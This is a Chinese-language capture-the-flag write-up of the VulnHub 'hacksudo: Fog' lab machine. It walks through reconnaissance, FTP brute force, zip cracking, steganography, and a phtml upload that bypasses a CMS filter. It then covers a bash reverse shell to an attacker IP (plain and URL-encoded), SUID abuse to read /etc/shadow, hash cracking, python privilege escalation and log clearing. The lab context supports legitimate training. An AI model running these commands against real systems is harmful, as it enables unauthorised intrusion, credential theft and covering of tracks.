vulnhub靶场【hacksudo】之Fog

一、前言

靶机:hacksudo-fog

攻击:kali

都是采用虚拟机,网卡为桥接模式

二、主机发现

使用arp-scan -l或者netdiscover -r 192.168.1.1/24

三、信息收集

1. 使用nmap进行扫描

因为发现有些端口不是常用的,所以采用扫描全部端口再扫描一次

2. 网站收集

访问80端口服务

查看页面源代码,可以看到大概率是目录型网站

访问index1.html,可以看到是一张图片

访问页面源代码,看到一张图片的链接,以及一段提示,说是caesar密码,并给出一个链接地址,一个作者名,收集起来

访问链接地址,是一个项目

查看说明,好家伙是音频隐写,不过这个项目中的音频明显是测试使用的,文件名都是demo

扫描网站的目录

使用gobuster、dirb、dirsearch、dirbuster、ffuf等工具

访问cms,发现其在加载时,一直是连接某个IP地址

不过在扫描的时候,发现扫描cms一直停留在目录,并没有文件出来,测试这个目录试试

逐个访问,发现admin有个登录,尝试测试后,弱密码不行,万能密码也不行,暂时搁置

对这个cms进行指纹识别,发现版本等

搜索有无漏洞,发现有,暂时先不用,看能否继续收集到信息

访问dict.txt,给出的字典,估计可能会爆破

四、漏洞寻找

1. 解密

到这里基本上已经信息收集差不多,不过在80端口也未发现有漏洞

尝试使用fpt的匿名登录,无密码是不能登录,或者未开启匿名登录

尝试使用获取到的dict.txt和作者名hacksudo爆破ftpssh

使用ftp登录

查看flag1.txt文件,然后切换到目录后,查看authors.txt,发现其中的一个名称vishal waghmare,以及一个压缩包,把这个压缩包下载到kali

尝试解压,发现需要密码

使用fcrackzip或者使用john的套件进行破解,先使用zip2john转换,然后john破解

查看解压后的文件

这个wav音频文件,啧,想起前面那个项目,把其脚本下载,然后查看用法

使用exwave.py尝试能否提取信息

shell 复制代码
python3 ExWare.py -f ../hacksudoSTEGNO.wav

这一串串字符,在之前的index1.html源代码中,也是看到说是caesar加密,去在线网站进行解密,看到一个最像的,包含用户名密码

XYZABCDEFGHIJKLMNOPQRSTUVW
ABCDEFGHIJKLMNOPQRSTUVWXYZ
wwww.localhost/fog Username=fog:password=hacksudoISRO

2. 反弹shell

这个还给出网址,估计可能是用于网站登录的,访问cms/admin,使用用户名密码登录,登录成功

在这个界面点击各种模块进行测试,虽说用户界面有两个用户,一个fog,一个hacksudo,但是这里并不显示hacksudo的密码,最终发现文件管理处,可以上传文件到/uploads目录,并且该目录下的一个txt文件,有脚本语言php写的命令。

直接对该文件进行修改,不过这里对于文件类型做了限制,直接改为php、php5等可能不行,这里测试到phtml后发现可以,并且可以被解析成脚本语言

测试使用bash命令看能否进行反弹

shell 复制代码
bash -c 'bash -i >& /dev/tcp/192.168.1.16/9999 0>&1'
//进行URL编码
bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.1.16%2f9999+0%3e%261%27%0a

五、提取

1. 内网信息收集

查看之前在cms目录下的config.php

在查看目录时,发现一个flag

尝试使用上面的数据库连接的用户名和密码进行登录测试

查询该数据库下的表时,发现users,直接查询其中的数据

这里看到,hacksudo的密码是与fog一样的,不过也只能登录网站,且权限不如fog

一圈搜索,寻找具有SUID权限文件,发现look,之前碰到过,look可以读取数据,这个具有SUID的话,就可以读取之前不能读取的数据

shell 复制代码
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -exec ls -al {} \; 2>/dev/null

可以在网站gtfobins.github.io查看用法

使用look查看/etc/shadow

2. 密码hash破解

当然这里也可以查看/etc/passwd,然后把两个文件下载到kali,或者 把文件内容复制到kali,使用unshadow整合在一起,再使用john破解即可

很快破解isro的密码qwerty

使用ssh登录到isro用户

获取到一个加密的字符,尝试使用md5解密,发现是vishal

3. python提取至root

使用find寻找具有SUID权限的文件,发现sudo,使用sudo -l列出

发现整个isro目录下都可以,那么就查看其中有什么门道,发现在其/fog目录下,有一个文件的所有者是root,测试该文件,发现是python2

使用python提取

六、清除痕迹

清理日志

把之前修改的文件改回去

七、总结

  1. 目录扫描全面,所有的子级目录也是不能忽略的
  2. 对于一些CMS有一定的了解,这里的CMS其实就是有可利用的漏洞,可以复现的
  3. 信息收集的所有东西,可能都是有用的,这里就是通过收集到的信息,组成密码,对ftp爆破
  4. 一定要记得查看页面源代码
  5. 对于使用find寻找具有SUID权限的文件,方式不止一种
  6. 即便通过sudo -l列出了一些文件,自己也要去分别,文件的所有者,是否能够达到提取

这里忽略一点,因为开启了rpcbindnfs服务,虽然这里无法使用,但还是要进行一个说明

使用nmap可以先进行探索,探索目标的rpc信息

shell 复制代码
nmap -p 111 --script=rpcinfo 192.168.1.50

然后使用脚本探测,有无可用的mount

shell 复制代码
nmap --script=nfs-* 192.168.1.50

这里是提示没有可用的,如果这里是有可用的,就可以使用命令showmount查看有哪些目录可以

如果根目录可以的话,就可以把目标的nfs通过命令mount挂载到本地,并且挂载的是有同步性的。

所以这里就可以通过在kali中生成一个ssh的公私钥文件,然后把这个公钥文件给复制替换到原本的公钥文件,就可以达到无密码登录,也就是一个所谓的方式

相关推荐
学习溢出35 分钟前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
黑客Jack37 分钟前
网络安全加密
安全·web安全·php
6.941 小时前
Scala——身份证号码查询籍贯
学习·scala
_微风轻起1 小时前
linux下网络编程socket&select&epoll的底层实现原理
linux·网络
爱吃西瓜的小菜鸡1 小时前
【C语言】矩阵乘法
c语言·学习·算法
初学者7.2 小时前
Webpack学习笔记(2)
笔记·学习·webpack
网安墨雨2 小时前
iOS应用网络安全之HTTPS
web安全·ios·https
vortex52 小时前
Burp与其他安全工具联动及代理设置教程
网络·安全
xserver23 小时前
ensp 基于端口安全的财务部网络组建
网络·安全
孤独的履行者4 小时前
入门靶机:DC-1的渗透测试
数据库·python·网络安全